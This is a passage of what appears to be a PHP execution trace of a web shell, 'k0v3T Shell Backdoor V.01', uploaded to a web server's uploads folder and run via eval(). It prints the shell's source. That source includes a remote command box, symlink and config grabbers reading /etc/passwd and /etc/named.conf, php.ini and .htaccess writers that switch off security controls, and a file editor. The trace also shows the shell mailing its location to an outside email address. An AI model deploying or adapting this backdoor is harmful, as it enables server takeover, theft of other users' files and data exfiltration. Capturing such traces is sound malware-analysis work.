href=\\"k0v3T_sym404/root/\\">SymlinkNya</a>\r\n<br><a href=\\"k0v3T_sym404/\\">Configurations</a></center>";\r\n    }\r\n     if($_POST[\'config\'] == \'symlink\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symconfig/root/\\">Symlinknya</a>\r\n<br><a href=\\"k0v3T_symconfig/\\">Configurations</a></center>";\r\n\t\t\t}if($_POST[\'config\'] == \'symvhost\') {\r\necho "<center>\r\n<a href=\\"k0v3T_symvhost/root/\\">Root Server</a>\r\n<br><a href=\\"k0v3T_symvhost/\\">Configurations</a></center>";\r\n\t\t\t}\r\n\t\t\r\n\t\t\r\n\t\t}else{\r\n        echo "<form method=\\"post\\" action=\\"\\"><center>\r\n\t\t</center></select><br><textarea name=\\"passwd\\" class=\'area\' rows=\'15\' cols=\'60\'>\\n";\r\n        echo include("/etc/passwd"); \r\n        echo "</textarea><br><br>\r\n        <select class=\\"select\\" name=\\"config\\"  style=\\"width: 450px;\\" height=\\"10\\">\r\n        <option value=\\"grab\\">Config Grab</option>\r\n        <option value=\\"symlink\\">Symlink Config</option>\r\n\t\t<option value=\\"404\\">Config 404</option>\r\n\t\t<option value=\\"symvhosts\\">Vhosts Config Grabber</option><br><br><input type=\\"submit\\" value=\\"Start!!\\"></td></tr></center>\\n";\r\n}\r\n\r\n} elseif($_GET[\'a\'] == \'disablefunc\'){\r\n\t\techo "<br><br><center>";\r\n\t\techo "<form method=post><input type=submit name=ini value=\'php.ini\' />&nbsp;<input type=submit name=htce value=\'.htaccess\' />&nbsp;<input type=submit name=litini value=\'Litespeed\' /></form>";\r\n\t\tif(isset($_POST[\'ini\']))\r\n{\r\n\t\t$file = fopen("php.ini","w");\r\n\t\techo fwrite($file,"disable_functions=none\r\nsafe_mode = Off\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "<a href=\'php.ini\'>click here!</a>";\r\n}\t\tif(isset($_POST[\'htce\']))\r\n{\r\n\t\t$file = fopen(".htaccess","w");\r\n\t\techo fwrite($file,"<IfModule mod_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>\r\n\t");\r\n\t\tfclose($file);\r\n\t\techo "htaccess successfully created!";\r\n}               if(isset($_POST[\'litini\'])){\r\n\t\t$iniph = \'<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>\';\r\n\t\t\t $byph = "safe_mode = Off n disable_functions= ";\r\n\t\t$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";\r\n\t\tfile_put_contents("php.ini",base64_decode($byph));\r\n\t\tfile_put_contents("ini.php",base64_decode($iniph));\r\n\t\tfile_put_contents(".htaccess",base64_decode($comp));\r\n\t\techo "<script>alert(\'Disable Functions in Litespeed Created\'); hideAll();</script>";\r\n\t\techo"</center>";\r\n}\r\n\r\n}\r\nelseif($_GET[\'a\'] == \'symlink\') {\r\n$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $path);\r\n$d0mains = @file("/etc/named.conf");\r\n##httaces\r\nif($d0mains){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\n@exe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n$fp3 = fopen(\'.htaccess\',\'w\');\r\n$fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\necho "<br>\r\n<table align=center border=1 style=\'width:60%;border-color:#333333;\'>\r\n<tr>\r\n<td align=center><font size=2>S. No.</font></td>\r\n<td align=center><font size=2>Domains</font></td>\r\n<td align=center><font size=2>Users</font></td>\r\n<td align=center><font size=2>Symlink</font></td>\r\n</tr>";\r\n$dcount = 1;\r\nforeach($d0mains as $d0main){\r\nif(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\r\necho "<tr align=center><td><font size=2>" . $dcount . "</font></td>\r\n<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>\r\n<td>".$user[\'name\']."</td>\r\n<td><a href=\'$full/k0v3T_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font class=txt>Symlink</font></a></td></tr>";\r\nflush();\r\n$dcount++;}}}\r\necho "</table>";\r\n}else{\r\n$TEST=@file(\'/etc/passwd\');\r\nif ($TEST){\r\n@mkdir("k0v3T_sym",0777);\r\n@chdir("k0v3T_sym");\r\nexe("ln -s / root");\r\n$file3 = \'Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);\r\n @fclose($fp3);\r\n echo "\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>S. No.</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $dcount = 1;\r\n $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\r\n while(!feof($file)){\r\n $s = fgets($file);\r\n $matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\r\n $matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}fclose($file);\r\n echo "</table>";}else{if($os != "Windows"){@mkdir("k0v3T_sym",0777);@chdir("k0v3T_sym");@exe("ln -s / root");$file3 = \'\r\n Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php\r\nAddHandler text/plain .php\r\nSatisfy Any\r\n\';\r\n $fp3 = fopen(\'.htaccess\',\'w\');\r\n $fw3 = fwrite($fp3,$file3);@fclose($fp3);\r\n echo "\r\n <div class=\'mybox\'><h2 class=\'k2ll33d2\'>server symlinker</h2>\r\n <table align=center border=1><tr>\r\n <td align=center><font size=3>ID</font></td>\r\n <td align=center><font size=3>Users</font></td>\r\n <td align=center><font size=3>Symlink</font></td></tr>";\r\n $temp = "";$val1 = 0;$val2 = 1000;\r\n for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);\r\n if ($uid)$temp .= join(\':\',$uid)."\\n";}\r\n echo \'<br/>\';$temp = trim($temp);$file5 =\r\n fopen("test.txt","w");\r\n fputs($file5,$temp);\r\n fclose($file5);$dcount = 1;$file =\r\n fopen("test.txt", "r") or exit("Unable to open file!");\r\n while(!feof($file)){$s = fgets($file);$matches = array();\r\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);\r\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\r\n continue;\r\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\r\n <td align=center><font class=txt>" . $matches . "</td>";\r\n echo "<td align=center><font class=txt><a href=$full/k0v3T_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\r\n $dcount++;}\r\n fclose($file);\r\n echo "</table></div></center>";unlink("test.txt");\r\n } else\r\n echo "<center><font size=3>Cannot create Symlink</font></center>";\r\n }\r\n }\r\n##JUMPING \r\n} elseif($_GET[\'a\'] == \'jumping\') {\r\n    $i = 0;\r\n    echo "<pre><div class=\'margin: 5px auto;\'>";\r\n    $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\r\n    while($passwd = fgets($etc)) {\r\nif($passwd == \'\' || !$etc) {\r\n    echo "<font color=red>Can\'t read /etc/passwd</font>";\r\n} else {\r\n    preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n    foreach($user_jumping[1] as $user_idx_jump) {\r\n        $user_jumping_dir = "/home/$user_idx_jump/public_html";\r\n        if(is_readable($user_jumping_dir)) {\r\n            $i++;\r\n            $jrw = "[<font color=#5ddcfc>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\r\n            if(is_writable($user_jumping_dir)) {\r\n                $jrw = "[<font color=#5ddcfc>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#5ddcfc>$user_jumping_dir</font></a>";\r\n            }\r\n            echo $jrw;\r\n            if(function_exists(\'posix_getpwuid\')) {\r\n                $domain_jump = file_get_contents("/etc/named.conf");   \r\n                if($domain_jump == \'\') {\r\n                    echo " => ( <font color=red>gagal mengambil nama domain nya</font> )<br>";\r\n                } else {\r\n                    preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n                    foreach($domains_jump[1] as $dj) {\r\n                        $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n                        $user_jumping_url = $user_jumping_url[\'name\'];\r\n                        if($user_jumping_url == $user_idx_jump) {\r\n                            echo " => ( <u>$dj</u> )<br>";\r\n                            break;\r\n                        }\r\n                    }\r\n                }\r\n            } else {\r\n                echo "<br>";\r\n            }\r\n        }\r\n    }\r\n}\r\n    }\r\n    if($i == 0) {\r\n    } else {\r\necho "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";\r\n    \r\n    echo "</div></pre>";\r\n\t\t}\r\n\r\n\r\n\r\n//CONFIG\r\n\r\n} elseif($_GET[\'a\'] == \'cmd\') {\r\n\techo "<form method=\'post\'>\r\n\t<font style=\'text-decoration: underline;\'>".$user."@".$ip.": ~ $ </font>\r\n\t<input type=\'text\' size=\'30\' height=\'10\' name=\'cmd\'><input type=\'submit\' name=\'do_cmd\' value=\'>>\'>\r\n\t</form>";\r\n\tif($_POST[\'do_cmd\']) {\r\n\t\techo "<pre>".exe($_POST[\'cmd\'])."</pre>";\r\n\t}\r\n\r\n//START\r\n} elseif(isset($_GET[\'filesrc\'])){\r\necho "<tr><td>Current File : ";\r\necho $_GET[\'filesrc\'];\r\necho \'</tr></td></table><br />\';\r\necho(\' <center><textarea style="width:80%;height:50%;" readonly> \'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</textarea></center>\');\r\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\r\necho \'</table><br />\'.$_POST[\'path\'].\'<br /><br />\';\r\nif($_POST[\'opt\'] == \'chmod\'){\r\nif(isset($_POST[\'perm\'])){\r\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\r\necho \'<font color="#5ddcfc">Ganti  Permission Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Permission Gagal Gan</font><br />\';\r\n}\r\n}\r\necho \'<form method="POST">\r\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="chmod">\r\n<input type="submit" value="Chmod" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'rename\'){\r\nif(isset($_POST[\'newname\'])){\r\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\r\necho \'<font color="#5ddcfc">Ganti Nama Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Ganti Nama Gagal Gan</font><br />\';\r\n}\r\n$_POST[\'name\'] = $_POST[\'newname\'];\r\n}\r\necho \'<form method="POST">\r\nNama Baru : <input name="newname" type="text" size="30" value="\'.$_POST[\'name\'].\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="rename">\r\n<input type="submit" value="Ubah Nama" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'edit\'){\r\nif(isset($_POST[\'src\'])){\r\n$fp = fopen($_POST[\'path\'],\'w\');\r\nif(fwrite($fp,$_POST[\'src\'])){\r\necho \'<font color="#5ddcfc">Edit File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="RED">Edit File Gagal Gan</font><br />\';\r\n}\r\nfclose($fp);\r\n}\r\necho \'<form method="POST">\r\n<textarea cols=140 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="edit">\r\n<input type="submit" value="Edit File" />\r\n</form>\';\r\n}\r\necho \'</center>\';\r\n}else{\r\necho \'</table><br /><center>\';\r\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\r\nif($_POST[\'type\'] == \'dir\'){\r\nif(rmdir($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus Dir Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="red">Hapus Dir Gagal Gan</font><br />\';\r\n}\r\n}elseif($_POST[\'type\'] == \'file\'){\r\nif(unlink($_POST[\'path\'])){\r\necho \'<font color="#5ddcfc">Hapus File Berhasil Gan</font><br />\';\r\n}else{\r\necho \'<font color="#red">Hapus File Gagal Gan</font><br />\';\r\n}\r\n}\r\n}\r\n\t\t\r\necho \'</center>\';\r\n$scandir = scandir($path);\r\necho \'<div id="content"><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">\r\n<tr class="first">\r\n<b><td><center><font color=black size=3>Name</font></center></td></b>\r\n<b><td><center><font color=black size=3>Size</font></center></td></b>\r\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\r\n<b><td><center><font color=black size=3>Options</font></center></td></b>\r\n</tr>\';\r\n\r\nforeach($scandir as $dir){\r\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\r\necho "<td class=\'td_home\'><img src=\'data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\'>\r\n<a href=\\"?path=$path/$dir\\"><font color=red>$dir</font></a></td>\r\n<td><center><font color=red>Directory</font></center></td>\r\n<td><center>";\r\n\t\r\nif(is_writable("$path/$dir")) echo \'<font color="#5ddcfc">\';\r\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\r\necho perms("$path/$dir");\r\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\r\n\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\r\nforeach($scandir as $file){\r\nif(!is_file("$path/$file")) continue;\r\n$size = filesize("$path/$file")/1024;\r\n$size = round($size,3);\r\nif($size >= 1024){\r\n$size = round($size/1024,2).\' MB\';\r\n}else{\r\n$size = $size.\' KB\';\r\n}\r\n\r\necho "<tr>\r\n<td><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\'>\r\n<a href=\\"?filesrc=$path/$file&path=$path\\"><font color=red>$file</font></a></td>\r\n<td><center><font color=Red>".$size."</font></center></td>\r\n<td><center>";\r\nif(is_writable("$path/$file")) echo \'<font color=#5ddcfc>\';\r\nelseif(!is_readable("$path/$file")) echo \'<font color=red>\';\r\necho perms("$path/$file");\r\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"Select\\">Select</option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n<option value=\\"edit\\">Edit</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'</table>\r\n</div>\';\r\n}\r\necho \'<br /><center><font size=3 ; color=red>k0v3T Shell Backdoor  V.01<br><font size=4 ; color=#5ddcfc>Copyright &copy; <font color="red">Indonesian Hacker Community</font></br>\r\n\r\n</body>\r\n</html>\';\r\nfunction perms($file){\r\n$perms = fileperms($file);\r\n\r\nif (($perms & 0xC000) == 0xC000) {\r\n// Socket\r\n$info = \'s\';\r\n} elseif (($perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n$info = \'l\';\r\n} elseif (($perms & 0x8000) == 0x8000) {\r\n// Regular\r\n$info = \'-\';\r\n} elseif (($perms & 0x6000) == 0x6000) {\r\n// Block special\r\n$info = \'b\';\r\n} elseif (($perms & 0x4000) == 0x4000) {\r\n// Directory\r\n$info = \'d\';\r\n} elseif (($perms & 0x2000) == 0x2000) {\r\n// Character special\r\n$info = \'c\';\r\n} elseif (($perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n$info = \'p\';\r\n} else {\r\n// Unknown\r\n$info = \'u\';\r\n}\r\n\r\n// Owner\r\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0040) ?\r\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0800) ? \'S\' : \'-\'));\r\n\r\n// Group\r\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0008) ?\r\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0400) ? \'S\' : \'-\'));\r\n\r\n// World\r\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0001) ?\r\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n(($perms & 0x0200) ? \'T\' : \'-\'));\r\n\r\nreturn $info;\r\n}'	/var/www/html/uploads/titit.php	89	0
3	6	0	0.002426	707568	ini_set	0		/var/www/html/uploads/titit.php(89) : eval()'d code	1	2	'output_buffering'	0
3	6	1	0.002446	707640
3	6	R			FALSE
3	7	0	0.002461	707568	ini_set	0		/var/www/html/uploads/titit.php(89) : eval()'d code	2	2	'display_errors'	0
3	7	1	0.002476	707640
3	7	R			''
3	8	0	0.002490	707568	set_time_limit	0		/var/www/html/uploads/titit.php(89) : eval()'d code	3	1	0
3	8	1	0.002506	707632
3	8	R			FALSE
3	9	0	0.002519	707600	ini_set	0		/var/www/html/uploads/titit.php(89) : eval()'d code	4	2	'memory_limit'	'64M'
3	9	1	0.002535	707704
3	9	R			'128M'
3	10	0	0.002548	707600	header	0		/var/www/html/uploads/titit.php(89) : eval()'d code	5	1	'Content-Type: text/html; charset=UTF-8'
3	10	1	0.002566	707776
3	10	R			NULL
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	6	$tujuanmail = 'satyaaji1945@gmail.com'
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	7	$x_path = 'http://localhost/uploads/titit.php'
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	8	$pesan_alert = 'fix http://localhost/uploads/titit.php :p *IP Address : [ 127.0.0.1 ]'
3	11	0	0.002624	707944	mail	0		/var/www/html/uploads/titit.php(89) : eval()'d code	9	4	'satyaaji1945@gmail.com'	'LOGGER'	'fix http://localhost/uploads/titit.php :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
3	11	1	0.003349	708088
3	11	R			FALSE
3	12	0	0.003371	707904	set_time_limit	0		/var/www/html/uploads/titit.php(89) : eval()'d code	10	1	0
3	12	1	0.003387	707936
3	12	R			FALSE
3	13	0	0.003400	707904	error_reporting	0		/var/www/html/uploads/titit.php(89) : eval()'d code	11	1	0
3	13	1	0.003414	707944
3	13	R			22527
3	14	0	0.003427	707904	get_magic_quotes_gpc	0		/var/www/html/uploads/titit.php(89) : eval()'d code	22	0
3	14	1	0.003441	707904
3	14	R			FALSE
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	55	$nick = 'k0v3T'
3	15	0	0.003467	707904	getcwd	0		/var/www/html/uploads/titit.php(89) : eval()'d code	59	0
3	15	1	0.003486	707952
3	15	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	59	$path = '/var/www/html/uploads'
3	16	0	0.003519	707952	getenv	0		/var/www/html/uploads/titit.php(89) : eval()'d code	61	1	'SERVER_SOFTWARE'
3	16	1	0.003536	708032
3	16	R			'Apache/2.4.52 (Ubuntu)'
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	61	$software = 'Apache/2.4.52 (Ubuntu)'
3	17	0	0.003564	708000	str_replace	0		/var/www/html/uploads/titit.php(89) : eval()'d code	62	3	'\\'	'/'	'/var/www/html/uploads'
3	17	1	0.003580	708096
3	17	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	62	$path = '/var/www/html/uploads'
3	18	0	0.003606	708000	explode	0		/var/www/html/uploads/titit.php(89) : eval()'d code	63	2	'/'	'/var/www/html/uploads'
3	18	1	0.003622	708576
3	18	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	63	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3	19	0	0.003657	708504	function_exists	0		/var/www/html/uploads/titit.php(89) : eval()'d code	68	1	'posix_getegid'
3	19	1	0.003671	708544
3	19	R			TRUE
3	20	0	0.003684	708504	posix_geteuid	0		/var/www/html/uploads/titit.php(89) : eval()'d code	74	0
3	20	1	0.003698	708504
3	20	R			33
3	21	0	0.003711	708504	posix_getpwuid	0		/var/www/html/uploads/titit.php(89) : eval()'d code	74	1	33
3	21	1	0.003742	709336
3	21	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	74	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3	22	0	0.003787	709304	posix_getegid	0		/var/www/html/uploads/titit.php(89) : eval()'d code	75	0
3	22	1	0.003800	709304
3	22	R			33
3	23	0	0.003812	709304	posix_getgrgid	0		/var/www/html/uploads/titit.php(89) : eval()'d code	75	1	33
3	23	1	0.003839	709968
3	23	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	75	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	76	$user = 'www-data'
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	77	$uid = 33
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	78	$group = 'www-data'
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	79	$gid = 33
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	83	$id = 0
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	85	$a = TRUE
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	83	$id = 1
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	83	$id = 2
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	83	$id = 3
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	83	$id = 4
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i = 0
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	91	$i++
3	24	0	0.004152	708584	scandir	0		/var/www/html/uploads/titit.php(89) : eval()'d code	723	1	'/var/www/html/uploads'
3	24	1	0.004186	709208
3	24	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'titit.php']
2		A						/var/www/html/uploads/titit.php(89) : eval()'d code	723	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'titit.php']
3	25	0	0.004227	709224	is_dir	0		/var/www/html/uploads/titit.php(89) : eval()'d code	733	1	'/var/www/html/uploads/.'
3	25	1	0.004244	709288
3	25	R			TRUE
3	26	0	0.004258	709256	is_dir	0		/var/www/html/uploads/titit.php(89) : eval()'d code	733	1	'/var/www/html/uploads/..'
3	26	1	0.004274	709304
3	26	R			TRUE
3	27	0	0.004288	709264	is_dir	0		/var/www/html/uploads/titit.php(89) : eval()'d code	733	1	'/var/www/html/uploads/.htaccess'
3	27	1	0.004303	709304
3	27	R			FALSE
3	28	0	0.004317	709264	is_dir	0		/var/www/html/uploads/titit.php(89) : eval()'d code	733	1	'/var/www/html/uploads/data'
3	28	1	0.004332	709304
3	28	R			TRUE
